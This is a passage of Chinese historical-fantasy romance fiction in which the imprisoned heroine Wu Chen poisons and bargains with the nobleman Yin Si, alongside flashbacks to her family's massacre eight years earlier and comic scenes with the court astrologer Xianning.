“我看看,我看看!殷兄的东西,我最是熟悉了。”,李鹜挤进人群里来。
“还给我!”,此时巫辰清醒,便直接大喊要回自己最重要的刀,这刀也是家人留下的,唯一念想。
侍从怒斥:“闭嘴,找死吗?”
李鹜拿起刀仔细端详:“这刀……纹样做工分明比殷兄做的刀鞘更细致精美,用料也是最上好的,重量倒是差不多。嗯……倒像是,殷兄是照着这把好刀做了那一堆破刀。”
“公子您怎的这么说话?说我家公子做的是破刀!”
“唉.....我没别的意思,只是实话实说罢了。这姑娘,看着不一般,未听过殷兄提到有红颜知己在缙华堂呢……”
众人听到此番话,面上表情皆是不自然起来。
巫辰的声音已然沙哑不清:“还我!”
“我去……还能叫。”
“把她嘴捂上!”
“是。”
“诶诶,别那么残暴,我来问她。”,李鹜蹲下身。
“这么要紧这刀,有什么特别的意义吗?”
“我的……还给我……”,巫辰此时的已是重伤,痛楚到达极点,再难忍受,身体虽被控制住无法动弹,却依旧尽力用手抓向短刀的方向,砂地浸血,细石间发出细小的沙沙声。
“但你要先说清,你与殷思的关系,你若是他的什么知己啊、情人啊哪怕是普通朋友呢……不光命能保住,这刀,更会原封不动还给你。”
右锋林央反驳道:“李公子,您少与她费口舌,缙华堂的人都是自小受训的,也从未出过这扇门,上哪儿认得殷公子。”
“啧,那缙华堂不也是殷兄的地儿嘛?他是堂主。在这儿见过谁,去过哪儿,会和你报备吗右锋大人。”
“若是错伤什么重要的人得罪了你们殷公子,谁担得起?”
“那敢问,她当众刺杀首辅官,何人派来的我们全然不知。若是皇后娘娘追责,李公子您担得起吗?”
李鹜无奈,语气轻松,所言却令众人胆寒:“那更是不能杀了!你怎么听不懂话呢?看她伤的这个样子动刑还能活吗?这幕后主使还未问出来,她又手拿殷公子的信物。说到底,陈首辅官虽在殷家的缙华堂当职,却是皇后娘娘亲信。仅凭这刀,便能指向是受殷思、受殷家指使杀人!你们,各个都是殷家的人,若陛下问责起公子和侯爷,你们全都不想活了吗?”
“这……”
又继续补充道:“所以,她与殷兄我们便暂且认作知己了!你们缙华堂主子的女人,不能杀,不能动刑,先好生看着,等殷兄回来,自有定夺。陈辅官的死因,要我看能压一时是一时,若闹大,本公子倒是能全身而退,你们,是一个都跑不了呢。”
“诶……她好像……好像晕过去了……还是,死了?”
“快看看,别叫她死了!”
“大人,还有气。”
众人不禁松下一口气。
“带到敬过司去,必先交代是殷公子的旧识,不可杀、不可动刑,请大夫给她医到能活。若是刑部那传信儿要人,通通不给。”
“是。”
“赶紧进都,快请殷公子回来。说有要事,记得莫要惊动侯爷,只叫公子来就好。”
“是,左锋大人。”
......
4. 大狱
纵马掠过无限愁思,耳边风声轻起,无法探清的究竟是风声,还自己的心意?殷思对她,是执念吗……
愧疚?
亦或是,怨怼?
“展颜辰……”
“好久不见。”
……
八年前,献都城,展家大难。
“禁军听令!凡是在展家门儿里边儿的活物,全杀!一个不留!”,首领的禁军高声喊道,似是屠尽展家,痛快无比。
殿前司右卫却道:“我们奉命查抄展家,只是抓人带走的,怎可乱杀?”
官家亲兵,确无查抄杀人的道理,有罪,需审。
“陛下口谕,你他娘的是想抗旨吗?”,说话之人却不愿落丝毫下锋,语气强硬粗鄙。
“陛下口谕我们都未曾听到过,怎凭你一面之词!”
“展家通敌叛乱,意图谋反!还不够砍脑袋的吗?”
“大人,瞧着您眼生,您带的这队人,我们也不曾见过。总督今日未来,我们手下的也不敢擅自行动,您是步军司的吗?劳烦看看您的腰牌呢?”,右卫直言道。
不少殿前司近卫一同附和,“是啊!”
“身份不明,这指令如何听得?”,禁军队伍此时已是混乱不堪,后方两队人更甚起了冲突,互相推搡起来。
“滚你妈的!怀疑到你老子头上!”说罢竟直接拔刀刺伤领头的右卫,速度极快,众人一时未反应过来。
“不听话的!都杀!往里进!!”
“杀!!!!”,那人所带的一队叛军直直冲入展家,大开杀戒,瞬间腥风血雨四起,厮杀声、惨叫声不绝于耳。
右卫吃痛,只得道:“呃.....果然有问题!殿前司听令,拿下那帮乱军!展家人!留活口!护住了!”
“是!”
当年十六岁初入殿前司的殷思,亦在其列。
殷思入展府后只得边闪躲乱军的进攻边寻他于展家的那位故人——展颜辰。
前堂内,终是晚了一步。
展家家主,脖颈处受致命剑刺,血尚未凝固,身体应还留有余温。
展业褚,已死。
携太子、太傅更甚东宫数百条冤魂的秘密,静入坟墓,再无转圜之地。自此太子一派,一败涂地,大苍已然变天。
“糟了......”
殷思悄然扫视屋内情形,目光凝于书柜一角,似有暗格,展颜辰应正藏身于此。
殷思察觉响动,两名乱军破门而入闯进屋内,来人手中长刀高高举起,剑光一闪,殷思快速出刀抵挡千钧之力,并灵巧一闪迅速躲过另一人的剑刃,趁其不备以手肘反击,转身击落长刀。
全部动作一气呵成,极轻极快。
不可杀,若引来更多乱军,暗格内的展颜辰则更加危险。
殷思停止动作,以眼神引两人实现至展业褚尸身,“大人这是做什么?看清楚点儿,自己人,别打错了。”
“哼,小子,立功了啊。干事儿利索点儿,没人了就赶紧出来,休想偷摸捞好处啊!”
“捞着了,必然得想着大人们了。”,殷思笑道。
“哈哈,识趣。你快点儿啊!”,说罢便离开。
与此同时,疑另一股势力进入展府,同样见者便杀,却又像是在寻人。
殷思靠近书柜,轻声开启暗格门。
门与书柜边的缝隙中隐有微光,刹那间暗格被猛然开启。
映入眼帘的便是一道极快的刀光,快速靠近且无限接近于殷思脖颈处,反应半瞬后偏头躲开,下一刀却来得更快,刀刃直直没入左肩头。
展颜辰见刺伤来人起身便逃,殷思强忍剧痛迅速回身从右侧拉住展颜辰。
“我不会伤你!别......”
展颜辰反应速度极快,殷思话未说完,对着拉住她的右臂,又是一刀。
每一刀,未曾有过任何犹豫。
直击右手筋脉,血水顺手臂淌向展颜辰袖口处。
“呃......”,殷思吃痛放手,展颜辰也趁机跑开。
“别!”
「她此刻这样跑出去,便是性命难保。」
屋内响动引来院内乱军,殷思顾不得伤势迅速跟上。
「不管怎样,一定拦下她......」
殷思边闪躲猛攻的乱军,身子偏向一侧,刀尖便擦着他的衣衫划过,展颜辰此刻正跑在前面,只得启弓用箭扫清她周身的乱军,受伤的右臂几乎到达极限。
殷思忽而注意箭矢从旁侧射来,猛地向后一跃,慌神之际瞧见一乱军正逼近楼台下的展颜辰。
「不妙。」
他左手死死攥紧楼台栏柱,借力翻下,回身腾空之际射出一箭直插乱军肩膀,只见其吃痛闪躲,一侧的展颜辰注意到竟反手出刀直直刺向那人喉咙处,当场暴毙。
「真的只扎脖颈吗……」
殷思此时已无处可依,试图抓住帷幔,却因右手失力从高台坠下,同时注意到似是有另一伙人闯入展府,目的却不详。
抓人?
杀人?
还是其他,一概不知。
又是与多名乱军的斡旋厮杀,府内刀剑相碰撞的声响也渐渐淡去。
要结束了。
眼见展颜辰即将脱离视线,再向外便是未知身份的那群人的源头处了......
「所以,不管怎样,一定拦下她......」
「哪怕先伤她......」
「也要拦。」
殷思几近脱力的右手搭箭羽于弦上,视线紧紧锁定展颜辰。
「不击要害.....拦住。」
他屏气凝神,猛拉弓弦,箭矢脱弦而出,划破周遭血气。
当————————
是箭头与金属碰撞的声响。
步摇。
这一箭偏得,毫无章法。
只射中展颜辰头侧红枫步摇,这次,红枫彻底碎裂掉落。
右手,因这支远离靶心的箭。
筋脉全断,右手已废。
殷思俯身蹙眉,颤抖着捏向伤处,知觉,彻底消失。
展颜辰。
也彻底消失。
......
后来听闻,展府被抄后起火,随行禁军近卫,除殷思外,无一生还。
殷思伤愈后,右手,再也使不上力。
一切真相说与任何人听,无人在意,无人相信。
最后,也只等来远在边郡的阿姐遭人暗算,虽双腿残废却幸而保全性命,正于归都途中。
.......
飞马疾驰,此时已入洛川。
“你还活着。”
“真好......”
......
洛川,殷家旧居旁,敬过司地牢内。
阴暗逼仄的环境,难见光亮,巫辰,却仍在梦中的无限晦暗中。
嗡——————————————
先是耳鸣声,那便是听觉了。
模糊不清的话语,萦绕耳畔。
“阿颜,快起来……”
......
“阿颜……”
“阿颜……醒醒……”
“不要……今日……阿颜……”
......
明明是未曾听过的声音,为什么唤她。
......
“阿颜!今日觉得如何……”
“阿颜,不要怕,把……刀……捡起来……”
「这个人......好熟悉,曾听过的。」
......
“公子来了!”
“见过公子。”
“见过公子。”,敬过司众人道。
殷思步伐混乱,似是急见狱中之人。
“嗯,人在哪儿呢?”
“公子,这边儿,您慢点儿公子。”,首领看守讪讪道。
“公子,她手里的刀.....”
殷思打断道:“人可还醒着?”
“方还醒着,但就是……呃……那姑娘一句话也不肯说。”
“你们动刑了?”
看守急忙解释道:“不敢,自是不敢的。但那姑娘来之前便是受了重伤的,刑部和皇后娘娘那边儿屡次要人咱们都没给。听闻来人是公子的朋友,全司都不敢轻易……”
“
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没请大夫?”
“呃这……司里确实没有给关押之人请大夫的先例,所以……”,正不知如何解释。
“诶到了到了,就是这位了。”
“知道了,下去吧。”
“是。”,众看守拱手退出。
殷思欲看清眼前人,她正斜靠墙壁,低着头,气息混沌沉重。
试探着靠近。
极轻,极慢。
似是怕她再于恍然间消失。
......
巫辰勉强睁开眼,光线昏暗至极,额间血液凝固早已蒙住过半的视线,眼前人,是红衣服的。
她大口喘息,难以开口,身体已几乎无法动弹。
巫辰清楚,此时想要活命,只能利用眼前的人,殷思。
不管怎样,只得以命搏命,先活下去。
弱弱道:“救我……”
“好,我不会伤你,你……”,殷思难以听清,只得靠近。
巫辰目光所及处,忽而注意到来人颈间左侧的朱砂痣,曾见过。
听声音,果然熟悉。
正是方才于梦中,说话的人。
巫辰下意识得舔着干涩的嘴唇,再次开口道:“缙……缙华堂的陈……已伤了好多人……”
“什么?”,再次靠近。
“公子……殷公子……我……”,巫辰声音沙哑不清,只得抿抿双唇,紧盯对面之人脖颈处,再次开口。
殷思小心靠近。
巫辰猛得扑上去,一口咬在殷思颈间朱砂痣旁,牙齿仅仅嵌入皮肉,用尽全力反身推向他,殷思重重撞在墙壁,锁链响动,引来看守。
看守急忙赶来,急道:“公子!怎么了公子!”
“过去看看怎么了!”
几个看守冲进狱内。
“我靠……赶紧拉开她啊!快点儿啊!”
“救公子!”,说罢急忙死命拉巫辰。
又怕伤了殷思,无奈拔剑扎向巫辰肩膀。
“呃……”,巫辰吃痛松口,再无力气,倒在地上无法动弹。
“咳!咳咳!咳……”,殷思弓紧身子,剧烈咳嗽似将肺腑从喉间咳出,一手紧紧按住颈间伤口处,青筋暴起,身体颤抖不已。
几个看守冲向殷思,帮忙按住伤口,“公子,公子您怎么样了!”
殷思气息混乱,说不出话。
巫辰倒在地上,众人无暇管她,口中竟涌出鲜血后,却发出一阵狂笑。“哈哈哈哈哈哈哈哈哈!哈哈哈哈哈哈.......”
血水几乎卡死喉咙,却仍在发出声响,回荡。
像个疯子。
众人被吓一跳,却未注意殷思嘴角同样开始渗血,痛苦得望着眼前的巫辰。
「怎会.....」
“我靠……什么疯狗……”
“赶紧过去先把她按住!按住她!”,几个看守冲过去按住巫辰。
其中一人暴怒拔剑扎猛得扎向巫辰手臂。
“疯了吧!”
“呃……啊……”,巫辰吃痛,皮肉被割断,痛急了,却未再喊出声。
“别杀她!别动!”,殷思大喊阻止看守后续的动作。
“公子……这……”,众人疑惑。
“不许杀她!”,口中鲜血顺着嘴角流向仅仅按住脖颈处的手臂,一切,皆染血。
唯有眸中,含泪。
“先别动!!”,看守发现不对劲。
“公子,公子怎么了!”
“遭了!她下毒!公子中毒了……”
殷思狂咳不止,视线逐渐模糊,头脑发昏。
无奈,自嘲。
“哈哈哈哈……哈哈……”
首领看守急道:“快按住了,公子中毒了,她下了毒!先别杀她!”
“别弄死了!”
“传大夫来!快点儿来人!!先救公子!”
“……”
巫辰最后挣扎无果,精神也再也承受不住,昏迷前却发现。
眼前的人,含泪,望着她。
「认出我了?」
「哭什么。」
「真奇怪。」
......
5. 再遇
梦魂萦绕,思绪万千,是久违的残梦,朦胧不清。
“阿颜,不要怕......”
“箭......这样......搭在弓上......”
「又是这个声音。」
是那日狱中见过的殷思,穿红衣的,还有朱砂痣......
「不可能......」
「为什么会听到他的声音。」
「什么时候的记忆。」
「不是从前的记忆,会是日后的记忆吗......同曾听到陈湘娩的声音一般。」
「所以那些痛......都会真实发生的吧。」
「完了。」
「随便了。」
......
“你醒啦!”,说话之人,也是穿着红衣的,少女模样,正望着巫辰,肆意得笑着。
总会有人莫名其妙得热情,就像总会有人莫名其妙得充满恶意一样奇怪。
这眼神......是真的笑。
这么开心做什么,莫名其妙。
她头上珠饰说话间被牵动,互相碰撞,响声清脆,干净。
「好奇怪......怎会对陌生的人......」
「产生这么高的.....评价。」
巫辰发愣之际,对面的少女仍认真得看着她,反应过来后疑惑道:“你是......”
“咳咳,在下钦天监国师大人仙宁!你知道吗?是我救了你,你被送来之后,已经睡了8日了,还以为你死了!看名录上写的,你叫巫辰吗?”,少女自豪得说着。
“是。”
“真好听!我能叫你小辰吗?小巫有点儿不好听,像小狗的名字。你知道吗?我从前在观里养的小狗叫小五,它可胖了,每日能吃三块儿肉,它吃完之后.....”,她不停自顾自得说着。
“叫我阿辰就好。”
「竟是国师吗,有点.......」
“好的阿辰,他们说你是我的暗卫了,我也不知道是什么意思,大概是让我死不了的仆人吧。我们这儿饭菜好吃的很,但是别吃太多了,我还要吃的!你不用天天都出来跟着我,我看看啊......”
「有点不太聪明的样子。」
说罢,仙宁摘下榻旁盆景的一枚叶片,手指轻撵叶面,叶面上竟留有不规则的空洞;举至窗前,艳阳透过叶片,孔洞竟似点点繁星。
“荧惑顺行,祸去福来,刚好你新伤初愈,周身之气也渐趋平和,托你的福,今日我也死不了!你好好躺着吧!”
“......”
仙宁突然收去笑脸,满眼严肃认真,仔细问道:“阿辰,你是男人吗?”
“嗯?”
“好奇怪,他们明明说缙华堂都是女人来着......你知道吗?你的命格好古怪喔,看起来是个男人,还是个快要死掉的男人呢。”
「在说什么胡话。」
“......”,巫辰无言,当真不知说些什么好。
“嗯......还很.....很混乱,天机不可泄露!我不会告诉你的!”
仙宁兴奋道:“你知道吗?我就喜欢你这样的人!又奇怪又有趣的。”
“你怎么总不说话?你是哑巴吗?”,仙宁撇着嘴,神情似是不满道。
而后又一副恍然大悟的样子,道:“噢,你不是,你刚才还说话了。”
“哈......”,巫辰不禁被逗笑了。
“你笑了!你虽然不会说话,但是你会笑!“
又立刻收去笑意,低头,当做无事发生。
“你不好奇吗?”,仙宁问道。
“好奇什么?”
“你的命格!”
“我不相信。”
仙宁一副生气模样,感叹巫辰对她深深的不认可,实在暴殄天物,大声道:“什么????真是大胆!你居然不信我!”
“真可惜,你很没有品味。唯物主义可不对!在我钦天监,就要相信国师大人的话!”,说罢撇着嘴无奈摇头,满脸皆是叹惋。
“......”
“宁大人,食坊那儿唤您过去了!”,钦天监侍女进门传话。
仙宁一副虽是生气失望,却大度不怪罪的模样,对着巫辰道:“哼,走,跟我先去吃饭!”
说罢便拉着巫辰离开了。
......
钦天监主殿门外。
巫辰于钦天监的日子,倒也清闲,夜晚坐在屋檐看星星的时间,更多了。
这里的感觉,很微妙。
无法言说的原因,气息,不混沌的气息,竟让人觉得异常平静。
巫辰却无时无刻在提醒着自己,查清一切真相前,别忘了恨。
「千万别忘。」
仙宁,倒是当前可以接近皇室的,重要一环。
却无法确认仙宁是否可信。
屋外几个守夜侍女正小声说着些什么,“啧,咱们这新国师大人,什么来头?听闻年纪不小的,怎的像个傻的?一天到晚疯疯癫癫......我都听不懂她说的话呢。”
“你有所不知,她如今在大苍人口中,神得很。可谓料事如神,前些日子因观出什么战星.....呃......战星高悬的天象,不过三日便传来边关大捷的消息,天隆国降了,直接被陛下亲封国师,连世家宗亲想请她算上一卦都难呢。”
“那也是怪得很,国师,哪有让傻子当的。”
几人见巫辰过来,便停了议论。
“护卫使。”
进入主殿,仙宁正趴在案台上熟睡,巫辰作势用断刃刺向仙宁眼皮位置,当刀尖无限逼近只于毫厘时,依然毫无反应。
「不是装的,亦或是,装得极好。」
仙宁醒来,睡眼惺忪,道:“阿辰你来了!昨日观星到子时呢,好困!”
“走!陪我吃饭,今日能吃到我最喜欢的烧鲑鱼呢!”
「又是吃饭。」
......
“阿辰!!阿辰!!!!!!”,仙宁边大喊边冲到巫辰身边,一下扑到巫辰身上,被猛然一撞向后退了半步。
“......”
拉着巫辰的胳膊,焦急地说道:“别愣着了!你知道吗?今日乃长星出柳,大凶之兆哇!需以如血如火的来克制。你现在马上到霖晴馆去,都说秋日中红枫似火,今日的枫叶最红了,如果你不去的话,唯恐有血光之灾呀!”
“呜呜
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呜呜,你不去的话我会死掉的!你的老大死了你会被打的!”,说罢满眼悲伤,夸张急了。
“知道了。”
“走。”
“走去哪儿?”,仙宁疑惑道。
“霖晴馆。”
仙宁似是又开朗起来了,居然嫌弃道:“怎么出个门还要人陪!你自己去就好了!”
......
霖晴馆,深林处,红枫尽染,摇曳似火,却丝毫不显得妖艳。
巫辰幼时,很喜欢红枫,往日家中庭院处有一整片红枫林,还有一支红枫步摇,是母亲的旧物;只是八年前那日之后,随父兄一同不见了。
枫色愈见浓烈,似泣血,无寄相思。
自己还活着,所以,红衣的人,也还活着吧。
院中石台上,放着一柄弯弓,乌木打造,雕纹细腻,两端玉石点缀光泽幽冷,仿若星辰落于弓角。
巫辰耳中竟回响起梦中的声音,“箭......这样......搭在弓上......”
拾起弓,箭矢搭与弓羽之上,臂展轻舒;目光追随着空中一叶红枫,红叶独行于微风,屏息过后,万物依旧在响动、摇曳,唯有那抹红,此刻静止停息。
巫辰气息长舒,风气之时,红枫也随之动容,转眼便移至身后。
她快速回身,箭飞弦震,破风雾;精准牵动那叶早已游离远去的红枫,箭矢,却擦着一人衣襟飞逝。
秋意阑珊,无尽幽思共赴一片深红。
二人对视,片刻无言。
殷思眼神闪动,似是犹豫不决,道:“看我做什么......我还活着,很奇怪吗?”
“真可惜。”
“就这么想我死?”,似是轻叹。
巫辰直言道:“放任你在缙华堂的狗肆意虐杀无辜,居高位而无所作为,你不该死吗?”,说罢挽弓箭指殷思心口处。
殷思倒也不躲。
“抱歉。”
巫辰冷冷道:“抱歉不应是说与我听的。”
“......”
“能把弓还我吗?”,殷思轻轻推开身前箭矢,开口道。
巫辰依旧是盯着对面的人,有关他的谜团,太多太多,巫辰依旧没有任何动作,只是看着他。
巫辰现需盟友,有用的盟友,以那日的毒,应是足以要挟殷思一段时间,可他的态度,太过奇怪。
殷思却偏过目光,“别盯着了吧。”
巫辰的眼神,确实常令人生畏,如冰渊,寒芒直入骨髓。
倒也不至于那么吓人,因为对面的人分明是双颊飞红,不见畏惧的。
殷思见巫辰许久没有反应,试探着从巫辰手里拿过弓,而后转身将直插树干的箭矢拔下,竟是一个踉跄。
「多年前,不是会武的吗。」巫辰只感疑惑。
“内力如此差,你如何用箭的?”
殷思浅笑道:“不用,它,只是摆设。”
后又继续补充问道:“心脉如此混乱,你又是如何用刀的?”
巫辰却是一笑,长舒道:“没有心,哪里乱了。”,说罢又继续试探道:“你,喜欢红枫吗?”
“嗯。”,殷思直接答道。
“喜欢的。”
6. 初遇
文定七年,九年前,展府檐顶处;秋意正浓,红枫展颜,似是流火坠于尘世间,令人神往却踪迹难寻。
殷思初入殿前司,正随行颖王在旁暗暗相护,无聊至极。
忽见檐间一抹盛红随风而过,殷思迅速执箭于手,弓弦紧绷,气力于双臂间凝聚;目随所动之人,猛然松手箭矢破风,弧线清晰可见。
叮———
箭头轻碰金属的声响,看来是脱靶了。
顷刻间颈间却一阵冷意,待殷思反应过来,一柄短刀正抵于脖颈处。
“在别人家里用箭,你好没规矩。”,短刀的主人开口道,音色稚嫩,语气却是沉稳冷调的。
殷思轻笑道:“在屋顶乱跑,你的规矩呢?”
“这是我家,我想怎么跑,就怎么跑。”,展颜辰道。
“展小姐功夫不错。”
听到夸赞,展颜辰微微一顿,正欲收回仍抵在殷思颈间的利刃,无意间注意到刃下一点红,是朱砂痣。
不是血,却也是红色的,很特别。
回神后竟破天荒得说出了好话:“你的箭术也不错。”
“多谢。”
“你喜欢红枫吗?”,展颜辰问道。
殷思却疑惑,「这是何意。」,他未来得及回应,眼前枫红,已然消失不见。
离开时殷思收回射偏的箭矢,正直直扎在势头最盛的那颗红枫枝干上。
箭矢之上,却留有一串红枫叶编成的,颈饰吗。
叶间轻蘸朱砂,随风瑟瑟,却稳稳缠在箭矢上。
枫染千红胜血,血墨滴落,落在心里,只留不尽涟漪;注定灰白无味的一生,此刻于枫林间,被渲染出无尽绚烂。
殷思低头轻笑,眸间闪动,自言道:“怪不得问我是否喜欢红枫……确实喜欢。”
风卷红枫,惊鸟后,秋声渐乱。
......
心亦乱。
“展颜辰。”
巫辰见殷思直指自己真实身份,也无意再装,索性毫无反驳,只听他继续说下去。
“当众杀人,你不要命了?”
“私藏罪臣之后,你也不要命了吗?”,巫辰反问道。
言必还是盯着殷思看,九年了,竟未看出什么变化,定是游手好闲享受度日惯了。
“......能别这么看着我吗。”,殷思小声道,而后面上浮起薄红。
巫辰确认,这个人看不得,多看几眼对话便无法再进行下去了,随之移开视线俯身捡起一片落枫,只是仔细地看着。
殷思深吸一气倒说起了正事:“展家的事,有什么想法?”
“有人冒充展颜钦杀人。”,展颜辰开门见山道,也不再抬头看殷思,只是自顾自蹲在地上摆弄着树叶。
献都中,定有人于暗中谋划着,身份不详、目的不详,当年未理清的事太多,要问当事人,一时间也无法说清,需得从头查起。
“你怎知是冒充?”
“猜的。”
“......”,殷思被堵得无言。
殷思看着正低着头在地上寻觅着什么的巫辰,继续追问:“所以,缙华堂的毒,是假的?”
“毒是真的。我想再放出更多展家毒的制法,能找到真的展颜钦。”
“引他出来?不会害死他?”,说着殷思跟着巫辰蹲下,好奇她真的在找着什么,还是不耐烦了。
“他若真能活到现在,便是死不了。”,巫辰冷冷道,也没再有眼神交流。
“若冷夫人被刺杀一事,是有人刻意而为,有几成概率是想寻你呢?”
“寻吧。”,巫辰一副无所谓的样子。
而后又淡淡补充道:“我也在寻他呢。”,随后目光锁定于两枚枫叶,拿起来细细端详着。
“一旬,展家毒遍布都城。”,殷思依旧不知巫辰在做些什么,只得轻轻捡起目光所及处最红的那片,拂去尘土。
“嗯,你小心点儿吧。”
殷思疑惑道:“什么?”
“毒被散播,最先死的应是碍眼的人,高门世家当然死得最快。其他无用之人,从未被看到过,倒是安全得很。”,巫辰拿着两枚叶片仔细端详着,似是在对比它们的样子。
殷思却道:“反正已是中过毒,再多几种,区别应是不大。”
“哦,你还记着,我当你的毒已解了。”
“没解,所以来找你要解药了。”殷思将叶片倒换至右手,轻轻摩挲,试图牢牢抓住如血染版的红枫,后又道:“解药呢?”
巫辰却笑道:“想要解药,还需听话。你什么都不说,如何让我信任。”,随后站起身来,低头看向殷思,递出其中一枚红枫。
殷思疑惑,不知对面人是为何意。
“拿着,这个最红。”,说罢,巫辰小心收起另一枚枫叶。
殷思接过,只道:“多谢。”
巫辰转身正欲离开。
“等等。”,却被殷思叫住。
“缙华堂的事,我会彻查。过几日回洛川,我叫其他弟子问话探探实情,一起吗?”
巫辰回身只道:“不必了,她们什么都不知道。”
“嗯。”,殷思站起身,准备再次看着眼前人离开视线,不料巫辰却停下脚步。
“殷思。”
“怎么了?”
“陈湘娩的事,你早知道,对吗?”
“嗯。”,殷思如实答道。
“你就是这样的人吗?”
“嗯。”,殷思没有辩驳,他无比清楚,长姐当年遭暗算被伤,大多是因自己的多言;所以,于献都,于朝堂中,与虎谋皮时,看到了便是看到了,可再当无事发生。若是说出来,只得承受一切后果,长姐不可再有事了。
巫辰没再看他,只是远远地望向献都主城的方向,当真是个,可怕的地方。
殷思亦是无言。
巫辰回过神却又问:“我杀了皇室亲信,帮我,不怕被牵连?”
“……”,殷思没有回答,许是他自己也不清楚,为什么要做这些;细细想来,也未做什么,多年来自己已是废人一个,又能做什么呢。
“展颜......”,殷思想叫出她的名字。
却被打断道:“我叫巫辰。”
“好。”,曾经漫漫秋光中,无数次思念过的,难以置信般,竟正于手中。
却不忍,或是无能,将它稳稳抓住。
尽管如此,也想再次靠近。
......
“啊啊啊啊啊!阿辰!!!!!!!”,仙宁突然出现,死死抓住巫辰后躲到她身后看着眼前的殷思。
巫辰道:“怎么了。”
“太可怕了!这个人!!!比你还要奇怪!!!!!”,仙宁大喊着,仿佛看到了什么令人极其可怖的怪物。
殷思却满脸疑惑,巫辰其实也疑惑。
“在下钦天监新任首领官主簿,殷思,见过仙宁大人。”,殷思反应片刻后俯首道。
“......”
“完了!他还是同我们一起的!全完了!!!!!”,又是一阵大喊大叫,满脸悲伤痛苦。
殷思却未有大反应,已然恭敬道:“大人,我为何奇怪?”
“你不知道吗?你有无数命格,交错混乱,有违天道!哎呀,不能说了不能说了,真是罪过......”
仙宁又道:“呜呜呜呜阿辰,如果哪天我要被这个人害死了,你要救我啊!”
巫辰总是拿仙宁没有办法,只得道:“好。”
“还是阿辰好!呜呜呜呜呜......快走快走,要开饭了!”,说罢仙宁便一路抱着巫辰后腰小跑着离开。
只留殷思于枫中凌乱,“无数命格......这是何意。”
......
戌时,钦天监主殿内。
殷思进入主殿,进屋半天,却只见仙宁脸上正盖着本星象册子躺在案旁,只得试探道:“大人。”
“哎呀,你吓死我了!你这个人真是可怕!”,仙宁立刻坐起身来,册子掉落在地也顾不得去捡。
“抱歉抱歉,我是想来请教大人,我的命格如何奇怪,还请大人稍加指点。”
仙宁面露喜色,像是发现了什么珍宝,兴奋道:“你相信我说的话?”
“当然相信,深信不疑。”,殷思肯定道,语气认真。
“你有品位!唉,真是可惜,阿辰就不像你这般有品位了。呜呜......若是能换换就好了,她这般有意思却不信我的话,造化弄人呀!”,仙宁眼神发光,能找到信她的人 ,实属不易的,上一个如此认可她的,还是当今圣上,如此,自然如获珍宝。
“她如何有意思了?”,殷思追问道,满是好奇。
“你知道吗?我怀疑她是个男人!对了,你叫殷思是吧,那我叫你小思好了!”
“大人,男人是指......”
仙宁立刻打断道,轻咳一声,正式又认真道:“嗯!你人挺不错的,够有礼貌,稍稍没那么可怕了!”
“大人,她......”
仙宁再次抢话:“来来来,你帮我个忙!”,说罢直接拉殷思出了主殿。
......
“大人,你这是来做什么?”,殷思却被拉倒巫辰屋外。
“嘘,别说话。”
仙宁哑着声小声道:“小思,帮我看看阿辰是不是个男人。”
“???不是......这......”,殷思被吓到,一瞬只觉惊惶无措,发出响动。
“谁?”,闻声后一柄小刀已牢牢扎入窗框边。
“糟了!先溜了!!!”,说罢仙宁已然逃得没影。
“喂......”,殷思无奈。
巫辰开门,开启的一瞬,只感水汽蔓延扑面
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而来,蓦染羞红直至耳根,忙以手遮面,星子直坠幽湖,心中涟漪肆起。
“你听我解释!我不是故意......”,周遭空气似是凝结,停止流动,连说话也微微颤抖。
“让开。”,巫辰却未回应,一切对她来说似是无所谓的。
多余的心情,愤怒、羞怯,全然没有。
只留殷思一人,在乱。
巫辰伸手将殷思推到一边,虽未接触至任何皮肤,却可感她手上水珠仍未干;水汽丝丝缕缕,更如轻纱笼尘,暗暗忸怩不安。
......
“你在......做什么......”,殷思小声问道。
“沐浴,你瞎吗?”
听巫辰动作,应是在拔出窗框上的刀,随后,穿衣。
殷思只得继续解释道:“我说现在……我不是故意......”
“你捂着脸做什么?”
“啊......嗯......不用捂着了吗?你穿好了吗?”
“嗯。”
殷思放下掩面的左臂,看清眼前的人又立刻捂住。
“你怎么穿......穿这么少......”
巫辰只觉疑惑。
殷思因右手难以使上力气,只得边以手肘衣衫掩面边拽下自己的外搭,轻轻搭在对面人身上,狼狈极了。
“天冷,多穿点儿,多穿点儿......”
“仙宁告诉你我是男人吗?”,巫辰直接问道。
“......”,不知如何回答。
“小孩子说的话,你信了?”
殷思犹豫片刻,道:“不知为何,她的话,总是让人......很想相信。”
“你觉得我是男人?”
“呃.....没有,我不是这个意.....”
话未说完,巫辰打断道:“我从不信命。”
“那你,可信我?”,殷思试探。
“你有秘密,如何信得?”,巫辰转身,收起方才窗框上的小刀。
殷思开门见山:“你认得东方羽灵吗?世家东方氏之后,当年她父亲东方赐,曾是东宫太傅。”
“所以,她应是认得你兄长。”,又补充道。
巫辰并未说话,而是将殷思的外搭还到他手上,后又穿起自己的外衫,她仍是穿不惯红色的。
“也是她告诉我,展家毒,和你,在缙华堂。”
“为何展家毒出现在缙华堂,我就一定会在缙华堂?”,巫辰看向殷思,神情难以琢磨。
“确实颇为奇怪,不过,东方羽灵所在的继华堂是如今大苍最大的情报组织,许在多处都有线人。”
巫辰却道:“为何你不知我在缙华堂?那儿不是你的地盘吗?”
“......”,殷思心虚得无法回应。
巫辰见他无法回应,浅笑着,却直击对面人的痛楚:“这些年,你在做什么呢?许多事虽说与殷家无关,殷家也可以随时置身事外。你,在混吃等死吗?”
“我,不过是个废人罢了。”,殷思无奈苦笑,这是事实无法辩驳。
巫辰看向殷思,随着他的目光看向某处,随之靠近,虽早早注意到殷思从未用右手有过动作,却不想问;只是试探着碰他,殷思躲开了。
“无事,我就是想混吃等死。当个纨绔花天酒地,委实不错。”
“那你日后便没有机会花天酒地了,我需要你帮我。”
殷思笑道:“帮你做事,什么好处?”
“可以晚点儿杀你。”,巫辰却是冷冷道。
殷思直言:“那便不用说的那么好听,你我非亲非故,不过是互相利用。”
“你知道就好。”
“嗯。”,殷思说着拂过手中外搭,有才沾染上的水汽。
“我想见东方羽灵。”
“这个不难,日后的重阳宴就开在东方家,我们也是要随仙宁同去的,自然能见到她。”
巫辰问道:“宫宴开在东方家?”
“当今皇后是东方羽灵的亲姑母,国母寿辰与重阳节同天,便为帝后家宴。”,殷思解释道。
“你们,很熟吗?”,巫辰试探问道。
“不熟。”
“那她为何会告诉你,我的消息?”
“不过看我有利用价值罢了,殷思的命虽不值钱,但殷家后人的头衔,还算值钱。”,殷思却并未说出东方羽灵手中旧手记的事,东方羽灵的站队不明,一切也都有待查明。
